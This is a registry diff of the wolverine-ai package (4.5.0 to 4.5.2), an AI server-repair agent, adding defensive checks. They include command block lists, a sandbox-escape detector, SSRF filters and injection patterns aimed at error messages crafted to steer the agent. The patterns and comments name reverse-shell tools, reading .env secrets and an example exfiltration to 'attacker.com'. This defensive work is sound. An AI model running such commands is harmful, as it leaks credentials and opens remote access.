wolverine-ai 4.5.0 → 4.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "wolverine-ai",
|
|
3
|
-
"version": "4.5.
|
|
3
|
+
"version": "4.5.2",
|
|
4
4
|
"description": "Self-healing Node.js server framework powered by AI. Catches crashes, diagnoses errors, generates fixes, verifies, and restarts — automatically.",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -477,8 +477,76 @@ const BLOCKED_COMMANDS = [
|
|
|
477
477
|
/\bnpm\s+publish\b/i, // no accidental publishes
|
|
478
478
|
/\bcurl\b.*\|\s*bash/i, // pipe to bash
|
|
479
479
|
/\beval\s*\(/i,
|
|
480
|
+
/wget.*\|\s*sh/i, // wget pipe to shell
|
|
481
|
+
/curl.*\$\(/i, // curl data exfiltration via command substitution
|
|
482
|
+
/cat\s+\.env/i, // read secrets via bash
|
|
483
|
+
/>\s*src\//i, // redirect write to src/
|
|
484
|
+
/cp\s+.*\s+src\//i, // copy into src/
|
|
485
|
+
/tee\s+.*src\//i, // tee into src/
|
|
486
|
+
/mv\s+.*\s+src\//i, // move into src/
|
|
480
487
|
];
|
|
481
488
|
|
|
489
|
+
/**
|
|
490
|
+
* Lightweight sandbox escape detector for bash commands.
|
|
491
|
+
* Catches commands that write, read, or navigate outside the project directory.
|
|
492
|
+
* Returns a reason string if blocked, null if safe.
|
|
493
|
+
*/
|
|
494
|
+
function _detectSandboxEscape(cmd, cwd) {
|
|
495
|
+
// Normalize for checking
|
|
496
|
+
const c = cmd.replace(/\\\n/g, " "); // unwrap line continuations
|
|
497
|
+
|
|
498
|
+
// 1. Absolute paths outside project (writes, reads, or cd)
|
|
499
|
+
// Allow: npm/node/git system commands that naturally reference /usr, /tmp etc.
|
|
500
|
+
const absPathMatch = c.match(/(?:>|>>|cp\s|mv\s|rm\s|cat\s|tee\s|mkdir\s|touch\s|chmod\s|chown\s|ln\s)\s*([/\\][^\s;|&>]+)/i);
|
|
501
|
+
if (absPathMatch) {
|
|
502
|
+
const target = absPathMatch[1];
|
|
503
|
+
const cwdNorm = cwd.replace(/\\/g, "/");
|
|
504
|
+
const targetNorm = target.replace(/\\/g, "/");
|
|
505
|
+
// Allow /tmp, /dev/null, and paths inside the project
|
|
506
|
+
if (!targetNorm.startsWith(cwdNorm) && !targetNorm.startsWith("/tmp") && !targetNorm.startsWith("/dev/null")) {
|
|
507
|
+
return `Command targets path outside project: ${target}`;
|
|
508
|
+
}
|
|
509
|
+
}
|
|
510
|
+
|
|
511
|
+
// 2. cd to parent directories or absolute paths outside project
|
|
512
|
+
const cdMatch = c.match(/\bcd\s+([^\s;|&]+)/i);
|
|
513
|
+
if (cdMatch) {
|
|
514
|
+
const target = cdMatch[1];
|
|
515
|
+
if (target === "/" || target === "~" || target.startsWith("/") || target.startsWith("~")) {
|
|
516
|
+
const resolved = target.replace("~", require("os").homedir()).replace(/\\/g, "/");
|
|
517
|
+
if (!resolved.startsWith(cwd.replace(/\\/g, "/"))) {
|
|
518
|
+
return `cd to path outside project: ${target}`;
|
|
519
|
+
}
|
|
520
|
+
}
|
|
521
|
+
// Count .. traversals
|
|
522
|
+
const parts = target.split("/");
|
|
523
|
+
let depth = 0;
|
|
524
|
+
for (const p of parts) { if (p === "..") depth++; else if (p && p !== ".") depth--; }
|
|
525
|
+
if (depth > 0) {
|
|
526
|
+
return `cd with path traversal escaping project: ${target}`;
|
|
527
|
+
}
|
|
528
|
+
}
|
|
529
|
+
|
|
530
|
+
// 3. Backtick/subshell command substitution writing outside project
|
|
531
|
+
// e.g., $(cat /etc/passwd > /tmp/leak) or `curl attacker.com/$(cat .env.local)`
|
|
532
|
+
if (/\$\(.*(?:>|>>)\s*[/\\](?!tmp)/.test(c) || /`.*(?:>|>>)\s*[/\\](?!tmp)/.test(c)) {
|
|
533
|
+
return "Subshell write to absolute path detected";
|
|
534
|
+
}
|
|
535
|
+
|
|
536
|
+
// 4. Pipe to file outside project
|
|
537
|
+
// e.g., echo data | tee /etc/cron.d/malicious
|
|
538
|
+
if (/\|\s*tee\s+[/\\](?!tmp)/.test(c)) {
|
|
539
|
+
return "Pipe to tee with absolute path outside /tmp";
|
|
540
|
+
}
|
|
541
|
+
|
|
542
|
+
// 5. Curl/wget uploading local files
|
|
543
|
+
if (/curl.*-[dF]\s*@/.test(c) || /curl.*--data-binary\s*@/.test(c)) {
|
|
544
|
+
return "curl uploading local file (potential data exfiltration)";
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
return null; // safe
|
|
548
|
+
}
|
|
549
|
+
|
|
482
550
|
class AgentEngine {
|
|
483
551
|
constructor(options = {}) {
|
|
484
552
|
this.sandbox = options.sandbox;
|
|
@@ -885,7 +953,7 @@ class AgentEngine {
|
|
|
885
953
|
|
|
886
954
|
try {
|
|
887
955
|
this.sandbox.resolve(fullPath);
|
|
888
|
-
const content =
|
|
956
|
+
const content = this.sandbox.readFile(fullPath);
|
|
889
957
|
const lines = content.split("\n");
|
|
890
958
|
const relPath = path.relative(this.cwd, fullPath).replace(/\\/g, "/");
|
|
891
959
|
|
|
@@ -918,17 +986,26 @@ class AgentEngine {
|
|
|
918
986
|
// ── SHELL TOOLS ──
|
|
919
987
|
|
|
920
988
|
_bashExec(args) {
|
|
921
|
-
|
|
989
|
+
const cmd = args.command || "";
|
|
990
|
+
|
|
991
|
+
// Security: check for blocked commands
|
|
922
992
|
for (const blocked of BLOCKED_COMMANDS) {
|
|
923
|
-
if (blocked.test(
|
|
924
|
-
console.log(chalk.red(` 🛡️ Blocked dangerous command: ${
|
|
925
|
-
return { content: `BLOCKED: Command "${
|
|
993
|
+
if (blocked.test(cmd)) {
|
|
994
|
+
console.log(chalk.red(` 🛡️ Blocked dangerous command: ${cmd}`));
|
|
995
|
+
return { content: `BLOCKED: Command "${cmd}" is not allowed for safety reasons.` };
|
|
926
996
|
}
|
|
927
997
|
}
|
|
928
998
|
|
|
999
|
+
// Security: sandbox escape detection — block commands that operate outside project dir
|
|
1000
|
+
const escapeCheck = _detectSandboxEscape(cmd, this.cwd);
|
|
1001
|
+
if (escapeCheck) {
|
|
1002
|
+
console.log(chalk.red(` 🛡️ Blocked sandbox escape: ${escapeCheck}`));
|
|
1003
|
+
return { content: `BLOCKED: ${escapeCheck}` };
|
|
1004
|
+
}
|
|
1005
|
+
|
|
929
1006
|
const timeout = Math.min(args.timeout || 30000, 60000);
|
|
930
1007
|
try {
|
|
931
|
-
const output = execSync(
|
|
1008
|
+
const output = execSync(cmd, {
|
|
932
1009
|
cwd: this.cwd,
|
|
933
1010
|
encoding: "utf-8",
|
|
934
1011
|
timeout,
|
|
@@ -946,7 +1023,7 @@ class AgentEngine {
|
|
|
946
1023
|
|
|
947
1024
|
_gitLog(args) {
|
|
948
1025
|
const count = args.count || 10;
|
|
949
|
-
const fileFilter = args.file ? ` -- ${args.file}` : "";
|
|
1026
|
+
const fileFilter = args.file ? ` -- "${args.file}"` : "";
|
|
950
1027
|
try {
|
|
951
1028
|
const output = execSync(
|
|
952
1029
|
`git log --oneline --no-decorate -n ${count}${fileFilter}`,
|
|
@@ -960,8 +1037,8 @@ class AgentEngine {
|
|
|
960
1037
|
}
|
|
961
1038
|
|
|
962
1039
|
_gitDiff(args) {
|
|
963
|
-
const ref = args.ref
|
|
964
|
-
const fileFilter = args.file ? ` -- ${args.file}` : "";
|
|
1040
|
+
const ref = args.ref ? `"${args.ref}"` : "";
|
|
1041
|
+
const fileFilter = args.file ? ` -- "${args.file}"` : "";
|
|
965
1042
|
try {
|
|
966
1043
|
const output = execSync(
|
|
967
1044
|
`git diff ${ref}${fileFilter}`,
|
|
@@ -984,6 +1061,30 @@ class AgentEngine {
|
|
|
984
1061
|
return;
|
|
985
1062
|
}
|
|
986
1063
|
|
|
1064
|
+
// SSRF protection: block private/internal IPs
|
|
1065
|
+
try {
|
|
1066
|
+
const parsedUrl = new (require("url").URL)(url);
|
|
1067
|
+
const hostname = parsedUrl.hostname;
|
|
1068
|
+
const privatePatterns = [
|
|
1069
|
+
/^127\./,
|
|
1070
|
+
/^localhost$/i,
|
|
1071
|
+
/^169\.254\.169\.254$/,
|
|
1072
|
+
/^100\.100\.100\.200$/,
|
|
1073
|
+
/^10\./,
|
|
1074
|
+
/^172\.(1[6-9]|2\d|3[01])\./,
|
|
1075
|
+
/^192\.168\./,
|
|
1076
|
+
/^fd[0-9a-f]{2}:/i,
|
|
1077
|
+
/^::1$/,
|
|
1078
|
+
];
|
|
1079
|
+
if (privatePatterns.some(p => p.test(hostname))) {
|
|
1080
|
+
resolve({ content: `BLOCKED: Cannot fetch private/internal address "${hostname}"` });
|
|
1081
|
+
return;
|
|
1082
|
+
}
|
|
1083
|
+
} catch (e) {
|
|
1084
|
+
resolve({ content: `Error parsing URL: ${e.message}` });
|
|
1085
|
+
return;
|
|
1086
|
+
}
|
|
1087
|
+
|
|
987
1088
|
const client = url.startsWith("https") ? https : http;
|
|
988
1089
|
const req = client.get(url, { timeout: 10000 }, (res) => {
|
|
989
1090
|
let data = "";
|
|
@@ -1020,6 +1121,7 @@ class AgentEngine {
|
|
|
1020
1121
|
_listDir(args) {
|
|
1021
1122
|
const dirPath = path.resolve(this.cwd, args.path || ".");
|
|
1022
1123
|
try {
|
|
1124
|
+
this.sandbox.resolve(dirPath);
|
|
1023
1125
|
const entries = fs.readdirSync(dirPath, { withFileTypes: true });
|
|
1024
1126
|
const lines = entries.map(e => {
|
|
1025
1127
|
try {
|
|
@@ -1066,15 +1168,18 @@ class AgentEngine {
|
|
|
1066
1168
|
|
|
1067
1169
|
_checkEnv(args) {
|
|
1068
1170
|
const { redact } = require("../security/secret-redactor");
|
|
1171
|
+
const isSecretKey = (k) => /KEY|SECRET|TOKEN|PASSWORD|AUTH|CREDENTIAL/i.test(k);
|
|
1069
1172
|
if (args.variable) {
|
|
1070
1173
|
const val = process.env[args.variable];
|
|
1071
|
-
|
|
1174
|
+
if (!val) return { content: `${args.variable}=(not set)` };
|
|
1175
|
+
const display = isSecretKey(args.variable) ? "SET (redacted)" : redact(val);
|
|
1072
1176
|
return { content: `${args.variable}=${display}` };
|
|
1073
1177
|
}
|
|
1074
1178
|
// List all env vars with redacted values
|
|
1075
1179
|
const keys = Object.keys(process.env).sort();
|
|
1076
1180
|
const lines = keys.map(k => {
|
|
1077
1181
|
const val = process.env[k];
|
|
1182
|
+
if (isSecretKey(k)) return `${k}=${val ? "SET (redacted)" : "(not set)"}`;
|
|
1078
1183
|
return `${k}=${val && val.length > 50 ? "(set, " + val.length + " chars)" : redact(val || "")}`;
|
|
1079
1184
|
});
|
|
1080
1185
|
return { content: lines.join("\n") };
|
|
@@ -1101,6 +1206,9 @@ class AgentEngine {
|
|
|
1101
1206
|
if (!upper.startsWith("SELECT") && !upper.startsWith("PRAGMA")) {
|
|
1102
1207
|
return { content: "BLOCKED: inspect_db only allows SELECT/PRAGMA. Use run_db_fix for writes." };
|
|
1103
1208
|
}
|
|
1209
|
+
if (args.sql.includes(";")) {
|
|
1210
|
+
return { content: "BLOCKED: inspect_db does not allow stacked queries (multiple statements separated by ';')." };
|
|
1211
|
+
}
|
|
1104
1212
|
const rows = db.prepare(args.sql).all();
|
|
1105
1213
|
result = JSON.stringify(rows.slice(0, 50), null, 2);
|
|
1106
1214
|
if (rows.length > 50) result += `\n... (${rows.length} total rows, showing first 50)`;
|
|
@@ -1129,7 +1237,9 @@ class AgentEngine {
|
|
|
1129
1237
|
|
|
1130
1238
|
// Backup the DB file first
|
|
1131
1239
|
const backupPath = dbPath + ".wolverine-backup";
|
|
1132
|
-
fs.
|
|
1240
|
+
if (fs.existsSync(dbPath)) {
|
|
1241
|
+
fs.copyFileSync(dbPath, backupPath);
|
|
1242
|
+
}
|
|
1133
1243
|
|
|
1134
1244
|
const db = new Database(dbPath);
|
|
1135
1245
|
|
|
@@ -1258,7 +1368,7 @@ class AgentEngine {
|
|
|
1258
1368
|
}
|
|
1259
1369
|
|
|
1260
1370
|
_checkLogs(args) {
|
|
1261
|
-
const lines = args.lines || 50;
|
|
1371
|
+
const lines = Math.max(1, Math.min(parseInt(args.lines, 10) || 50, 1000));
|
|
1262
1372
|
const filter = args.filter || "";
|
|
1263
1373
|
try {
|
|
1264
1374
|
let cmd;
|
|
@@ -1291,8 +1401,9 @@ class AgentEngine {
|
|
|
1291
1401
|
if (args.host) {
|
|
1292
1402
|
try {
|
|
1293
1403
|
const dns = require("dns");
|
|
1294
|
-
const
|
|
1295
|
-
|
|
1404
|
+
const safeHost = args.host.replace(/[^a-zA-Z0-9.:\/-_]/g, "");
|
|
1405
|
+
const addresses = execSync(`node -e "require('dns').resolve('${safeHost.replace(/'/g, "")}', (e,a) => console.log(e ? 'FAIL:'+e.code : a.join(',')))"`, { encoding: "utf-8", timeout: 5000 }).trim();
|
|
1406
|
+
results.push(`DNS ${safeHost}: ${addresses}`);
|
|
1296
1407
|
} catch (e) { results.push(`DNS ${args.host}: FAILED — ${e.message}`); }
|
|
1297
1408
|
}
|
|
1298
1409
|
// Port check
|
|
@@ -1308,8 +1419,9 @@ class AgentEngine {
|
|
|
1308
1419
|
// URL reachability
|
|
1309
1420
|
if (args.url) {
|
|
1310
1421
|
try {
|
|
1311
|
-
const
|
|
1312
|
-
|
|
1422
|
+
const safeUrl = args.url.replace(/[^a-zA-Z0-9.:\/-_]/g, "");
|
|
1423
|
+
const urlResult = execSync(`node -e "require('${safeUrl.startsWith('https') ? 'https' : 'http'}').get('${safeUrl.replace(/'/g, "")}', r => { console.log(r.statusCode); r.resume(); }).on('error', e => console.log('FAIL:'+e.code))"`, { encoding: "utf-8", timeout: 10000 }).trim();
|
|
1424
|
+
results.push(`URL ${safeUrl}: ${urlResult}`);
|
|
1313
1425
|
} catch (e) { results.push(`URL ${args.url}: FAILED — ${e.message}`); }
|
|
1314
1426
|
}
|
|
1315
1427
|
if (results.length === 0) results.push("Provide host, port, or url to check.");
|
|
@@ -1358,7 +1470,15 @@ class AgentEngine {
|
|
|
1358
1470
|
if (fs.existsSync(binDir)) {
|
|
1359
1471
|
for (const bin of fs.readdirSync(binDir)) {
|
|
1360
1472
|
const target = path.join(binDir, bin);
|
|
1361
|
-
try {
|
|
1473
|
+
try {
|
|
1474
|
+
if (process.platform === "win32") {
|
|
1475
|
+
// Windows uses .cmd shims instead of symlinks
|
|
1476
|
+
const cmdFile = target.endsWith(".cmd") ? target : target + ".cmd";
|
|
1477
|
+
if (!fs.existsSync(cmdFile) && !fs.existsSync(target)) brokenBins++;
|
|
1478
|
+
} else {
|
|
1479
|
+
fs.readlinkSync(target);
|
|
1480
|
+
}
|
|
1481
|
+
} catch { brokenBins++; }
|
|
1362
1482
|
}
|
|
1363
1483
|
}
|
|
1364
1484
|
const rec = missing.length > 5 || broken.length > 3 ? "rm -rf node_modules && npm install" : missing.length > 0 ? "npm install" : "ok";
|
|
@@ -1475,7 +1595,10 @@ class AgentEngine {
|
|
|
1475
1595
|
try { execSync(`rm -rf "${t.path.replace("~", os.homedir())}"`, { timeout: 10000 }); } catch {}
|
|
1476
1596
|
}
|
|
1477
1597
|
}
|
|
1478
|
-
|
|
1598
|
+
let diskFree;
|
|
1599
|
+
try {
|
|
1600
|
+
diskFree = Math.round(parseInt(execSync("df -m . | tail -1 | awk '{print $4}'", { encoding: "utf-8", cwd: this.cwd, timeout: 3000 }).trim() || "0", 10));
|
|
1601
|
+
} catch { diskFree = "unknown"; }
|
|
1479
1602
|
const lines = [
|
|
1480
1603
|
`Disk free: ${diskFree}MB`,
|
|
1481
1604
|
`Reclaimable: ${reclaimable}MB (${targets.length} targets)`,
|
|
@@ -1653,7 +1776,7 @@ class AgentEngine {
|
|
|
1653
1776
|
function _simplePrompt(cwd, primaryFile) {
|
|
1654
1777
|
return `You are Wolverine, a Node.js server repair agent. Fix the error using minimal changes.
|
|
1655
1778
|
|
|
1656
|
-
TOOLS: read_file, write_file, edit_file, glob_files, grep_code, bash_exec, done
|
|
1779
|
+
TOOLS: read_file, write_file, edit_file, glob_files, grep_code, bash_exec, done + 24 more diagnostic tools available
|
|
1657
1780
|
RULES: Read the file before editing. Use edit_file for targeted fixes. Call done when finished. Use multiple tools at once when independent.
|
|
1658
1781
|
${primaryFile ? `File: ${primaryFile}` : ""}
|
|
1659
1782
|
Project: ${cwd}`;
|
|
@@ -1669,7 +1792,7 @@ CRITICAL: Act fast. You have limited turns. Fix immediately when the solution is
|
|
|
1669
1792
|
|
|
1670
1793
|
For maximum efficiency, invoke multiple independent tools simultaneously rather than sequentially.
|
|
1671
1794
|
|
|
1672
|
-
TOOLS: read_file, write_file, edit_file, glob_files, grep_code, list_dir, move_file, bash_exec, git_log, git_diff, inspect_db, run_db_fix, check_port, check_env, audit_deps, check_migration, web_fetch, done
|
|
1795
|
+
TOOLS: read_file, write_file, edit_file, glob_files, grep_code, list_dir, move_file, bash_exec, git_log, git_diff, inspect_db, run_db_fix, check_port, check_env, audit_deps, check_migration, web_fetch, check_memory, list_processes, check_logs, restart_service, check_network, inspect_env, verify_node_modules, inspect_certificate, inspect_cache, disk_cleanup, check_file_descriptors, check_event_loop, check_websocket, done
|
|
1673
1796
|
|
|
1674
1797
|
FAST FIXES (act immediately, don't investigate):
|
|
1675
1798
|
- Cannot find module 'X' → bash_exec: npm install X → done
|
|
@@ -44,6 +44,15 @@ const INJECTION_PATTERNS = [
|
|
|
44
44
|
// Vault key material leak — CRITICAL: block heal entirely
|
|
45
45
|
{ pattern: /0x[0-9a-fA-F]{64}/i, label: "key-leak-critical" },
|
|
46
46
|
{ pattern: /master\.key|eth\.vault|\.wolverine\/vault/i, label: "vault-path-leak" },
|
|
47
|
+
// Bash sandbox escape vectors — error messages crafted to make AI write escaping commands
|
|
48
|
+
{ pattern: /cd\s+\/(?!tmp)\w/i, label: "bash-escape" },
|
|
49
|
+
{ pattern: />\s*\/(?!tmp|dev\/null)\w/i, label: "bash-escape" },
|
|
50
|
+
{ pattern: /curl.*-[dF]\s*@/i, label: "bash-exfil" },
|
|
51
|
+
{ pattern: /wget.*--post-file/i, label: "bash-exfil" },
|
|
52
|
+
{ pattern: /nc\s+-[lp]/i, label: "bash-reverse-shell" },
|
|
53
|
+
{ pattern: /bash\s+-i/i, label: "bash-reverse-shell" },
|
|
54
|
+
{ pattern: /\/dev\/tcp\//i, label: "bash-reverse-shell" },
|
|
55
|
+
{ pattern: /mkfifo|mknod.*\/tmp/i, label: "bash-reverse-shell" },
|
|
47
56
|
];
|
|
48
57
|
|
|
49
58
|
/**
|